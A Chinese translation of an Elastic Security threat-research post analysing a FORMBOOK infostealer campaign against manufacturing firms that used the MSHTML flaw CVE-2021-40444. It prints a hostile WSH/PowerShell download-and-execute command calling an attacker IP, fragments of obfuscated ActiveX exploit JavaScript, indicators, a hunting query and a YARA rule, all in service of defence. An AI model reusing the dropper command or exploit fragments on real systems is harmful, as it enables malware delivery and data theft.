FORMBOOK 采用无 CAB 方法

对观察到的 FORMBOOK 入侵尝试的活动研究和分析。

32 分钟阅读活动
FORMBOOK Adopts CAB-less Approach

Elastic 情报与分析团队正在追踪一个新的 FORMBOOK 信息窃取活动,该活动利用了 MSHTML 远程代码漏洞(CVE-2021-40444)。观察到此活动在测试和生产版本的武器化阶段之间共享基础设施。

我们已经观察到,并将讨论此活动中与防御者相关的三个阶段

  • 使用 CVE-2021-40444 的测试阶段
  • 使用 CVE-2021-40444 的生产阶段
  • 不使用 CVE-2021-40444 的通用阶段

截至 2021 年 11 月 8 日,Elastic 观察到网络基础设施正在被积极用于部署 FORMBOOK 信息窃取程序,并充当命令和控制端点,为整个活动变体提供存档文件、植入程序和脚本。

我们想指出,Sophoslabs Uncut 团队在 2021 年 12 月 21 日发布了一些很棒的相关研究。研究小组经常通过他们的视角分析类似或在这种情况下的相同活动。这很棒,因为它让更多人从不同的角度关注同一个问题。如果您正在寻找更多信息,请查看他们博客上的研究。

主要发现

  • 漏洞 PoC 发布的速度凸显了在应用补丁之前利用威胁狩猎来识别后利用事件的必要性

  • 观察到一个 FORMBOOK 活动结合了允许将测试阶段和生产阶段链接在一起的基础设施

  • MSHTML 漏洞的修补似乎有效,因为该活动已从尝试利用该漏洞转变为传统的网络钓鱼恶意软件附件方法

  • 该活动需要一个多进程攻击链才能将 DLL 文件加载到受害者系统上

2021 年 9 月 7 日,微软确认了 Microsoft Office 套件等多种应用程序中使用的浏览器渲染引擎的漏洞。三天内 [1] [2] ,概念验证代码被发布,突出了漏洞开发生态系统的成熟度,并强调了主动威胁狩猎和补丁管理策略的重要性。

根据遥测数据,我们观察到此漏洞与 FORMBOOK 信息窃取程序结合使用。我们还发现了一个对手的技术疏忽,导致我们将看似活动测试基础设施和一个以全球制造受害者为目标的 FORMBOOK 网络钓鱼活动联系起来。

这篇文章详细介绍了此活动的策略、技术和程序 (TTP)。我们的目标是为使用 Elastic Stack 的安全从业人员以及任何关注 CVE-2021-40444 漏洞或与 FORMBOOK 相关的活动的读者提供检测能力。

详细信息

当微软披露多个 Microsoft Office 产品使用的浏览器渲染引擎中的漏洞时,概念验证代码在三天内发布。这使防御者能够观察漏洞的运作方式,并制定对策来保护他们的网络,同时可以部署补丁和缓解方法 [1], [2], [3], [4], [5], [6]。

此外,这凸显了漏洞开发社区的成熟度 — 强调了主动措施(如网络和端点监控、反垃圾邮件/网络钓鱼对策、电子邮件 MIME 类型附件策略等)和实施的补丁管理策略的重要性。

从高层次上讲,攻击者可以制作一个恶意 ActiveX 控件,供 Microsoft Office 文档使用,这将允许在受害者机器上远程执行代码。虽然这个漏洞有详细的文档记录,但安全研究员

我们同时启动了几种收集技术,包括搜索网络钓鱼电子邮件中包含的恶意附件 — 这是分发利用代码的最常见机制之一。我们注意到,没有报告很多恶意电子邮件附件,截至 2021 年 10 月 28 日,我们仅能识别出四起利用电子邮件利用此漏洞的案例。除了这四个利用案例外,我们还观察到威胁参与者试图利用带有 FORMBOOK 恶意软件作为附件的通用网络钓鱼方法。

以下部分将分解这些不同的活动目击及其各自的详细信息

  • 测试
  • 生产
  • 通用

在“详细信息”部分,重要的是要注意此攻击链要运行所需要的一些内容,而与测试或生产阶段无关

  1. 此活动的主要挑战是将 DLL 文件加载到受害者系统上
  2. ActiveX 控件是具有特殊约束的 DLL 文件
  3. 网页可以直接链接 ActiveX 控件或加载 URL 中包含的文件 --- Microsoft 不建议这样做,因为无法验证文件签名

测试阶段

第一个目击包含一封带有单个附件的电子邮件,发件人是 admin0011[@]issratech.com。在研究该电子邮件地址时,我们发现该电子邮件地址与 VirusTotal 中的其他恶意样本相关联。在此阶段观察到的电子邮件包含一个名为 Request Details.docx 的附件。

电子邮件附件以 Base64 编码字符串的形式存储在电子邮件中。要提取 Request Details.docx 电子邮件附件,我们可以使用 echo 命令将 Base64 编码字符串发送到 STDOUT,将其管道传输到 base64 程序,并将其保存为 email-attachment 以便我们进行分析。

$ echo "UEsDBBQAAAAIAFCELVO0gTweZgEAAIgFAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbLVUyWrDMBC9F/oPRtdgK+...truncated..." | base64 -D -o email-attachment

Request Details.docx

file 命令是一个标准的 Unix 和类 Unix 程序,用于识别文件类型。运行 file 命令,验证这是一个 Microsoft Word 文档

$ file email-attachment
email-attachment: Microsoft Word 2007+

2007 年之后的 Microsoft Office 文档是压缩存档文件。要深入研究文档而不打开它,您可以使用 unzip 命令解压该文件,如下所示。

$ unzip email-attachment
Archive:  email-attachment
    inflating: [Content_Types].xml
    inflating: docProps/app.xml
    inflating: docProps/core.xml
    inflating: word/document.xml
    inflating: word/fontTable.xml
    inflating: word/settings.xml
    inflating: word/styles.xml
    inflating: word/webSettings.xml
    inflating: word/media/image1.jpeg
    inflating: word/media/image2.wmf
    inflating: word/theme/theme1.xml
    inflating: word/_rels/document.xml.rels
    inflating: _rels/.rels

在文档关系文件 (word/_rels/document.xml.rels) 中,我们可以查看有关文档的不同元素如何相互关联的元数据。

$ cat word/_rels/document.xml.rels
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
...truncated...
<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
Target="MHTML:&#x48;&#x54;&#x54;&#x50;&#x3a;&#x5c;&#x5c;&#x31;&#x30;&#x34;&#x2e;&#x32;&#x34;&#x34;&#x2e;&#x37;&#x38;&#x2e;
    &#x31;&#x37;&#x37;&#x5c;&#x50;&#x6f;&#x70;&#x65;&#x2e;&#x74;&#x78;&#x74;&#x21" TargetMode="External"/>
...truncated
</Relationships>

从这里,我们可以看到一个在元素内使用HTML 实体的外部链接 MHTML OLE 对象,该实体保留 HTML 中的字符。HTML 实体本身不是人类可读的,因此需要解码。使用英国政府通信总部 (GCHQ) 的数据分析器和解码器 CyberChef,我们能够使用 “From HTML Entity” 配方(CyberChef 配方是预配置的数据解析器和解码器)快速解码 HTML 实体。

解码的 HTML 实体是 HTTP:\104[.]244[.]78[.]177\Pope.txt。这为我们提供了另一个原子指示符,以添加到我们之前收集的 admin0011[@]issratech.com 电子邮件地址 104[.]244[.]78[.]177。此外,解码的 HTML 实体还显示了另一个可能感兴趣的文件 Pope.txt。

Pope.txt

我们从 104[.]244[.]78[.]177 检索了 Pope.txt 的副本,并观察到它包含使用变量重命名和字符串混淆的 JavaScript 代码。此 JavaScript 执行以下功能

  • 从同一 IP 地址下载名为 comres.cab 的 Cabinet 存档文件,但未能提取
  • 创建多个要加载到浏览器渲染引擎中的 ActiveX 对象(即可执行的应用程序或库)
  • 利用 CVE-2021-40444 漏洞和 ActiveX 对象执行目录遍历,并执行名为 IEcache.inf 的文件。此文件名是来自 ASL IT Security PoC 代码DLL 加载器,在此次测试运行中不存在。

上图显示了混淆 JavaScript 代码的显著部分。我们使用调试器解析了查找函数的结果(用 // 注释显示)。这揭示了 classid (CLSID:edbc374c-5730-432a-b5b8-de94f0b57217) 属性,该属性在网上其他针对 CVE-2021-40444 的恶意软件分析中也有出现。这中等程度地表明,此 JavaScript 是使用一些已开源的重新利用的代码制作的。classid 属性用于确定是否已下载 comres.cab — 如果已下载,则不会尝试再次下载。

一旦 comres.cab 下载并提取后,必须找到提取的文件。这就是为什么在 JavaScript 中观察到多次目录执行尝试的原因。到目前为止的所有工作都是为了将 DLL (IEcache.inf) 放到文件系统上。最后,DLL 文件将作为控制面板文件 (.cpl) 执行,因为控制面板文件可以作为 DLL 加载。

Comres.cab 和 1.doc.inf

在我们的样本中,comres.cab 不包含 ASL IT Security PoC DLL (IEcache.inf)。它包含一个名为 1.doc.inf 的文件。

我们使用文件归档实用程序 7-Zip 从 comres.cab 中提取了 1.doc.inf。此文件很有趣,因为它具有 .inf(安装信息文件)扩展名,但在使用 file 命令时,我们可以看到它实际上是一个 DLL 文件,这意味着文件类型被混淆了。

$ 7z e comres.cab
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)
Scanning the drive for archives:
1 file, 6060053 bytes (5919 KiB)
Extracting archive: comres.cab
--
Path = comres.cab
Type = Cab
Physical Size = 6060053
Method = None
Blocks = 1
Volumes = 1
Volume Index = 0
ID = 1234
Everything is Ok
Size:       4465152
Compressed: 6060053

$ file 1.doc.inf
1.doc.inf: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

在分析 1.doc.inf 的 导入地址表 (IAT) 时,我们观察到多个 API 函数,这些函数允许文件下载和执行其他文件。特别值得注意的是 ShellExecuteExA 和 URLDownloadToFileW API 函数。

=== IMPORTS ===
MODULE_NAME      HINT   ORD  FUNCTION_NAME
bcrypt.dll          0        BCryptSetProperty
                    0        GetKeyState
ADVAPI32.dll        0        RegDeleteKeyW
SHELL32.dll         0        ShellExecuteExA
urlmon.dll          0        URLDownloadToFileW
WS2_32.dll                9
ole32.dll           0        CoInitializeSecurity
NETAPI32.dll        0        NetLocalGroupAddMembers
OLEAUT32.dll              8
PSAPI.DLL           0        GetModuleFileNameExW
                    0        WTSSendMessageW
                    0        GetProcessWindowStation
                    0        LocalAlloc
                    0        GetModuleFileNameW
                    0        GetProcessAffinityMask
                    0        SetProcessAffinityMask
                    0        SetThreadAffinityMask
                    0        Sleep
                    0        ExitProcess
                    0        FreeLibrary
                    0        LoadLibraryA
                    0        GetModuleHandleA
                    0        GetProcAddress
                    0        GetProcessWindowStation
                    0        GetUserObjectInformationW

通过进一步分析 DLL 的节列表,我们确定该文件受 VMProtect 保护(由 .vmp0、.vmp1、.vmp2、.vmp3 节标识)。“VMProtect 通过在具有非标准架构的虚拟机上执行代码来保护代码,这使得分析极其困难。”

$ pedump --sections 1.doc.inf | awk '{print $1, $2, $3, $4}'
=== SECTIONS ===
NAME    RVA    VSZ    RAW_SZ
.text   1000   12ecd  0
.rdata  14000  49ce   0
.data   19000  1350d8 0
.vmp1   14f000 2c70   0
.vmp0   152000 fac    0
.bss    153000 1000   0
.vmp2   154000 38c0bb 0
.vmp3   4e1000 5c6720 5c6800
.reloc  aa8000 5b4    600

由于我们无法分析受 VMProtect 保护的文件,我们继续探索之前收集的其他信息。具体来说,我们搜索了使用相同的 admin0011[@]issratech.com 电子邮件地址发送的其他样本。这些并行分析发现了其他样本和活动阶段,我们将其称为生产阶段和通用阶段。

生产阶段

第二个、第三个和第四个发现都具有相同的发件人字段 admin0011[@]issratech.com,并包含一个附件 — Profile.rar 文件 — 用于传递第二阶段恶意软件。

Profile.rar

之前,我们强调了扩展名与其实际文件类型不同的文件。为了验证附件是否为 RAR 存档,我们再次使用 file 命令来验证它是否为 RAR 存档。

$ file Profile.rar
Profile.rar: data

该附件具有 RAR 文件扩展名,但它不是 RAR 存档数据 v5 的文件类型,而是原始数据。发现包含原始数据的分析师可以使用 less 命令将文件内容转储到 STDOUT 以直接检查可能包含的内容。

$ less Profile.rar
<job><script language=vbs>Set WshShell = WScript.CreateObject("WScript.Shell")
runCmd = "POwErshell -noprofile -noni -W Hidden -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADQANAAuADcAOAAuADEANwA3AC8AYQBiAGIAMAAxAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIA"
WshShell.Run "cmd /c " & runCmd, 0, True</script></job> Rar!...truncated...

原始数据包括一个脚本作业元素,该元素可以由 Windows Script Host (WSH) 本地解释。作业元素指示 WSH 生成一个 shell,该 shell 生成一个隐藏的 PowerShell 进程,然后该进程运行一个 Base64 编码的 PowerShell 脚本。但是,需要执行脚本作业元素,而双击该文件不会执行。

解码此字符串,我们可以看到名为 abb01.exe 的文件从 104[.]244[.]78[.]177 下载并执行。这与我们在所有测试和生产阶段观察到的 IP 地址相同。

echo "aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADQANAAuADcAOAAuADEANwA3AC8AYQBiAGIAMAAxAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIA"\ | base64 -D
iex ((new-object system.net.webclient).downloadfile(“http://104[.]244[.]78[.]177/abb01.exe”,”$env:LOCALAPPDATA\dllhostSvc.exe”));Start-Process “$env:LOCALAPPDATA\dllhostSvc.exe”

我们将继续探索此文件,以确定脚本作业的执行方式。如上所示,该文件仍然具有 Rar! 标头,因此我们可以解压缩此存档。首先,我们将使用带有 e 开关的 unrar 程序来解压缩 RAR 存档并检索内容:document.docx。

$ unrar e Profile.rar
Extracting from Profile.rar
Extracting  document.docx                                             OK
All OK

document.docx

虽然 Profile.rar 看起来是一个压缩存档,但是 PowerShell 脚本不会在解压缩时自动下载并执行 abb01.exe。要执行该脚本,必须打开 Profile.rar 内的压缩文档 document.docx。

使用与我们在测试阶段中强调的相同技术,我们解压缩了 document.docx 并检查了文档关系文件 (word/_rels/document.xml.rels)。如前所述,我们观察到一个远程 OLE 对象,该对象以 HTML 实体代码块的形式存储和格式化,我们可以使用 CyberChef 对其进行解码。

我们看到相同的 IP 地址 104[.]244[.]78[.]177 和一个名为 Profile.html 的新文件名。

Profile.html

根据 HTML 代码,这最初看起来像是 Apache 登录页面。但是,仔细检查后发现页面底部还有另一个混淆的 JavaScript。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head>
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
<!--
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                This file is generated from xml source: DO NOT EDIT
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
        -->
<title>Getting Started - Apache HTTP Server Version 2.5</title>
...truncated…
<script>function a(){var l=['wexcKvyUWOi','ntu3ndaWmeHNC0HOsq','nfPrsujOwG','amohWRqfW5xcNSk/r23cO8kClG','
iSkfW5hcTSk4jmk4xmk2W73dSCkjWOq','ndCXnZeXDLf1tKLj','WRSYCcCZzmkmaW','WQzEqb5xWOldVWXBgSkSWRyp','AhrTBgzPBgu',
'W5tdO1L3WOFdISk8W50','u2nYAxb0','lNDZzJOUlI8UlI8UlI9ezxnRDg9Wl1bYB2zPBguUCMfYpY53C2y','iCkEW592W77cNa',
'WReLW5ddJGiJWRhcRMuYW40LW4v9xSkJWRNcObFdLSkEW5hcMe1kW4JcHL84W7WgWPtcNt4eW4NcP8oZy8kN',
'lNDZzJOUlI8UlI9eB3DUBg9HzhmVuhjVzMLSzs5Yyxi/lNDZzG','ndaWmtu5BvbZqxHH','Bg9JyxrPB24',
'ex3cTSkNW5z+w2RcKGhdLs/dNbBdImoknSk1FwVdQL/cVSkWWRC9WPldO3/dRLv5lt5lW4XFWRVcGWxcNsiX','nZa3mZKWnNP1zffirq',
'bxy1yvlcHujyqSkly2ldHvDrW5vJW7HQW5mZimkKWPJcQJClD0j3WO5SW6KTqmozaWOzACoc','mtKXmZq5mLbREgPOqW','W73dMrjjW53cQaBcVq',
...truncated…
ActiveXObject(j(0x144))[k(0x13c,'k0X5')][j(0x14c)]=k(0x14d,'[Otp'),new ActiveXObject('htmlfile')[j(0x146)]['location']=j(0x14a),new ActiveXObject('htmlfile')[k(0x148,
'MCjf')][k(0x138,'kZYE')]=j(0x147),new ActiveXObject(j(0x144))[j(0x146)][k(0x142,'Lz1J')]=k(0x14f,'BiKg'),new ActiveXObject(k(0x145,'h]@1'))[j(0x146)][j(0x14c)]=k(0x13a,'!v$V'));</script>

使用与之前相同的调试器对 JavaScript 进行去混淆,我们可以看到几个 ActiveXObjects。但是,这一次,数量少得多,并且执行更具预设性,消除了无用的调用。这显示了比以前的改进。这个较新的代码还使用 .wsf 扩展名而不是之前的 .cpl。这允许该漏洞利用 Windows Scripting Host 来执行代码。这与我们在测试阶段观察到的目录遍历技术相同。但是,这一次,JavaScript 正在寻找 Profile.rar 文件(而在测试阶段中,它正在寻找 IECache.inf)并尝试执行 PowerShell 脚本,该脚本在 Profile.rar 中作为 Windows Script File (.wsf) 前置。

Dropper

正如我们在上面说明的那样,Profile.rar 有一个前置的 Base64 编码的 PowerShell 命令,该命令下载 abb01.exe。来自 Profile.html 的 JavaScript 尝试在 Profile.rar 中将此 PowerShell 代码作为 Windows Script File 执行。

abb01.exe 是一个 dropper,当动态执行时,会在我们的示例中删除另一个 PE 文件 yxojzzvhi0.exe。

FORMBOOK 二进制文件

使用 Elastic YARA 规则扫描了 yxojzzvhi0.exe,并根据唯一的字节序列确定为 FORMBOOK 的变体。

FORMBOOK,也称为 XLOADER,是一种信息窃取器,包括键盘记录器、剪贴板复制器和表单抓取器组件,用于收集和泄露敏感信息。这种恶意软件已经作为 服务提供了五年多,并且仍然是窃取信息的成功工具。

通用阶段

在 2021 年 10 月 28 日和 11 月 8 日,我们观察到其他发现,但使用了通用的网络钓鱼附件策略来加载 FORMBOOK。此外,我们还能够从电子邮件标头中收集一些信息,我们将在活动分析部分中讨论。

这些发现都带有两个 RAR 附件。其中一个附件具有 .rar 文件扩展名,另一个附件具有 .gz 或 .7z 扩展名。我们将在下面探讨其中一个发现。

$ file D2110-095.gz DWG.rar
D2110-095.gz: RAR archive data, v5
DWG.rar:      RAR archive data, v5

RAR 文件包含两个 PE 文件。它们是 非常常见的 FORMBOOK 变体的相同实例。

$ omnihash DWG.exe D2110-095.exe
Hashing file DWG.exe
    MD5:    ff882802d113ed02fa070c496f89d797
    SHA1:   aad1eed1c53f1d33ab52e13442b036bfeee91f1b
    SHA256: 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096
Hashing file D2110-095.exe
    MD5:    ff882802d113ed02fa070c496f89d797
    SHA1:   aad1eed1c53f1d33ab52e13442b036bfeee91f1b
    SHA256: 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096

活动分析

在研究此 FORMBOOK 活动时,我们观察到在测试和运营阶段的基础设施重用和工具相似性,我们认为这代表了一个单一的活动。

电子邮件标头

在所有发现中,该活动都使用了相似的发送电子邮件地址

  • admin0011[@]issratech.com
  • admin010[@]backsjoy.com
  • admin012[@]leoeni.com

此外,在活动的生产和通用阶段,我们观察到 X-Mailer 元素(发送电子邮件客户端设置的软件标识符)为 RainLoop/1.16.0。RainLoop 是一个开源电子邮件客户端。应该注意的是,在我们的收集中,一个发现的一些标头信息在上传到 VirusTotal 之前被清理了。此发现中可能引用了 RainLoop,但我们无法确认这一点。

文件哈希值

在生产阶段,我们能够通过使用相同的附件 (Profile.rar) 来识别代码共享。

IP 地址

在测试和生产阶段,我们观察到 104[.]244[.]78[.]177 用于活动的所有元素。此 IP 地址用于托管存档、植入和脚本。

资源开发

随着研究的进行,我们观察到我们认为是能力测试的活动。此活动观察到一次,并使用了来自公共 CVE-2021-40444 漏洞利用概念验证 存储库的工件(IEcache.infdocument.xml.rels)。其他阶段包括与 PoC 代码不同的自定义漏洞利用代码,但共享相同的 初始访问执行 TTP 以及相同的网络基础设施。

我们观察到 issratech[.]com、backsjoy[.]com 和 leoeni[.]com 域拥有 Let’s Encrypt 提供的 TLS 证书。虽然创建 TLS 证书的步骤并非过于繁琐,但域所有者经历了创建证书的准备过程这一事实可能表明这些域旨在用于未来的加密操作。

在通用阶段,该活动放弃了 MSHTML 漏洞利用,并尝试利用传统的网络钓鱼恶意软件附件方法。这种策略的转变可能是因为成功的漏洞修补导致漏洞失效。

受害者分析

我们观察到,此活动针对的四家公司均属于制造业。据观察,利用 FORMBOOK 的威胁行为者 过去也曾针对制造业垂直领域。这些公司都在以下领域具有国际业务:

  • 工业材料,铝挤压,总部位于德国(测试阶段)
  • 工业集团,工业化学品,总部位于韩国(生产阶段)
  • 工业制造产品和咨询,总部位于瑞士(通用阶段)
  • 工业机械工程和制造,总部位于德国(通用阶段)

虽然目标公司值得注意(因为它们在同一垂直领域),但在所有三个阶段观察到的电子邮件地址域名 — issratech[.]com,看起来类似于合法的牙买加公司域名 isratech[.]com(请注意一个 s 和两个 s 之间的区别),这是一家专门从事灌溉、废水管理和太阳能业务的公司。下面是使用默认 Cyber​​Panel 登录页面的 issratech[.]com 的屏幕截图。Cyber​​Panel 是一个用于 WordPress 站点的 Web 托管工具。

admin0011[@]issratech.com 电子邮件地址的每个目标公司都拥有可能对 Isratch 项目在其项目页面上列出的项目有价值的专业知识或产品(https://www.isratech[.]com/projects/)

  • 化学品:废水处理,乳制品生产卫生
  • 挤压铝材:太阳能阵列脚手架,温室

在通用阶段,观察到另外两个电子邮件地址域名 — 一个似乎在模仿一家合法的医疗设备制造商 (backjoy[.]com),另一个 (leonei[.]com) 似乎由对手控制,但似乎没有用于合法目的。

leonei[.]com 受拒绝服务保护服务保护,因此它们的域名 IP 地址可能代表多个合法域名,并且应谨慎衡量从指示器表中阻止 leonei[.]com IP 地址的任何行为。

所有阶段的网络钓鱼邮件的接收者可能来自制造业的电子邮件地址列表,但尚未证实。这些电子邮件列表通常可用于购买,以支持销售、市场营销和企业对企业 (B2B) 的工作,但也可能被用于网络钓鱼活动。

战术

使用 MITRE ATT&CK® 框架,战术代表技术或子技术的原因。它是攻击者的战术目标:执行操作的原因。

观察到的战术

  • 资源开发
  • 初始访问
  • 执行

技术 / 子技术

技术和子技术代表攻击者如何通过执行操作来实现战术目标。

观察到的技术/子技术

  • 获取基础设施 - 服务器
  • 获取能力 - 恶意软件和漏洞利用
  • 部署能力 - 上传恶意软件
  • 网络钓鱼 - 附件
  • 命令和脚本解释器 - PowerShell
  • 客户端执行漏洞利用

检测

威胁狩猎查询

这些查询可在 Kibana 的“安全”→“时间线”→“新建时间线”→“关联查询编辑器”中使用。虽然这些查询将识别此入侵集,但它们也可以识别其他值得注意的事件,一旦调查,这些事件可能会导致其他恶意活动。

此查询将识别来自恶意 Access、Publisher、PowerPoint 或 Word 文档的 CVE-2021-40444 漏洞利用尝试。

process where event.type in ("start", "process_started") and process.parent.name : ("eqnedt32.exe", "excel.exe", "fltldr.exe", "msaccess.exe", "mspub.exe", "powerpnt.exe", "winword.exe") and process.command_line :
            ("*../../..*",
            "*..\\..\\*",
            "*cpl:..*",
            "*hta:..*",
            "*js:..*",
            "*jse:..*",
            "*sct:..*",
            "*vbs:..*",
            "*wsf:..*")

YARA 规则

我们创建了一个 YARA 规则来识别此 FORMBOOK 活动。

rule Windows_Trojan_FORMBOOK {
    meta:
        author = "Elastic Security"
        creation_date = "2021-06-14"
        last_modified = "2021-08-23"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "FORMBOOK"
        threat_name = "Windows.Trojan.FORMBOOK"
        reference_sample = "6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a"
    strings:
        $a1 = { 3C 30 50 4F 53 54 74 09 40 }
        $a2 = { 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 }
        $a3 = { 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 }
        $a4 = { 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83 }
    condition:
        any of them
}

防御建议

可以利用以下步骤来改善网络的保护姿态

  1. 使用 Sysmon 和 Elastic Endpoint 或 Winlogbeat 等技术在您的环境中审查和实施上述检测逻辑
  2. 检查并确保您已部署最新的 Microsoft 安全更新
  3. 维护关键系统的备份以帮助快速恢复

参考

本文档中引用了以下研究

指标

指标类型来自博客的参考备注
70defbb4b846868ba5c74a526405f2271ab71de01b24fbe2d6db2c7035f8a7dfSHA256Request Document.docx测试阶段的电子邮件附件
7c98db2063c96082021708472e1afb81f3e54fe6a4a8b8516e22b3746e65433bSHA256comres.cab测试阶段的 CAB 存档
363837d5c41ea6b2ff6f6184d817c704e0dc5749e45968a3bc4e45ad5cf028d7SHA2561.doc.inf测试阶段的 VMProtect DLL
22cffbcad42363841d01cc7fef290511c0531aa2b4c9ca33656cc4aef315e723SHA256IEcache.inf测试阶段的 DLL 加载器
e2ab6aab7e79a2b46232af87fcf3393a4fd8c4c5a207f06fd63846a75e190992SHA256Pope.txt测试阶段的 JavaScript
170eaccdac3c2d6e1777c38d61742ad531d6adbef3b8b031ebbbd6bc89b9add6SHA256Profile.rar生产阶段的电子邮件附件
d346b50bf9df7db09363b9227874b8a3c4aafd6648d813e2c59c36b9b4c3fa72SHA256document.docx生产阶段的压缩文档
776df245d497af81c0e57fb7ef763c8b08a623ea044da9d79aa3b381192f70e2SHA256abb01.exe生产阶段的投放器
95e03836d604737f092d5534e68216f7c3ef82f529b5980e3145266d42392a82SHA256Profile.html生产阶段的 JavaScript
bd1c1900ac1a6c7a9f52034618fed74b93acbc33332890e7d738a1d90cbc2126SHA256yxojzzvhi0.exeFORMBOOK 恶意软件
0c560d0a7f18b46f9d750e24667721ee123ddd8379246dde968270df1f823881SHA256DWG.rar通用阶段的电子邮件附件
5a1ef64e27a8a77b13229b684c09b45a521fd6d4a16fdb843044945f12bb20e1SHA256D2110-095.gz通用阶段的电子邮件附件
4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096SHA256D2110-095.exe DWG.exeFORMBOOK 恶意软件
admin0011[@]issratech.comemail-addr网络钓鱼发送电子邮件地址
admin010[@]backsjoy.comemail-addr网络钓鱼发送电子邮件地址
admin012[@]leoeni.comemail-addr网络钓鱼发送电子邮件地址
issratech[.]comdomain-name攻击者控制的域名
backsjoy[.]comdomain-name攻击者控制的域名
leonei[.]comdomain-name攻击者控制的域名
2[.]56[.]59[.]105ipv4-addrissratech[.]com 的 IP 地址
212[.]192[.]241[.]173ipv4-addrbacksjoy[.]com 的 IP 地址
52[.]128[.]23[.]153ipv4-addrleonei[.]com 的 IP 地址
104[.]244[.]78[.]177ipv4-addr攻击者控制的 IP 地址

工件

工件也可下载,组合的 zip 捆绑包中包含 ECS 和 STIX 格式。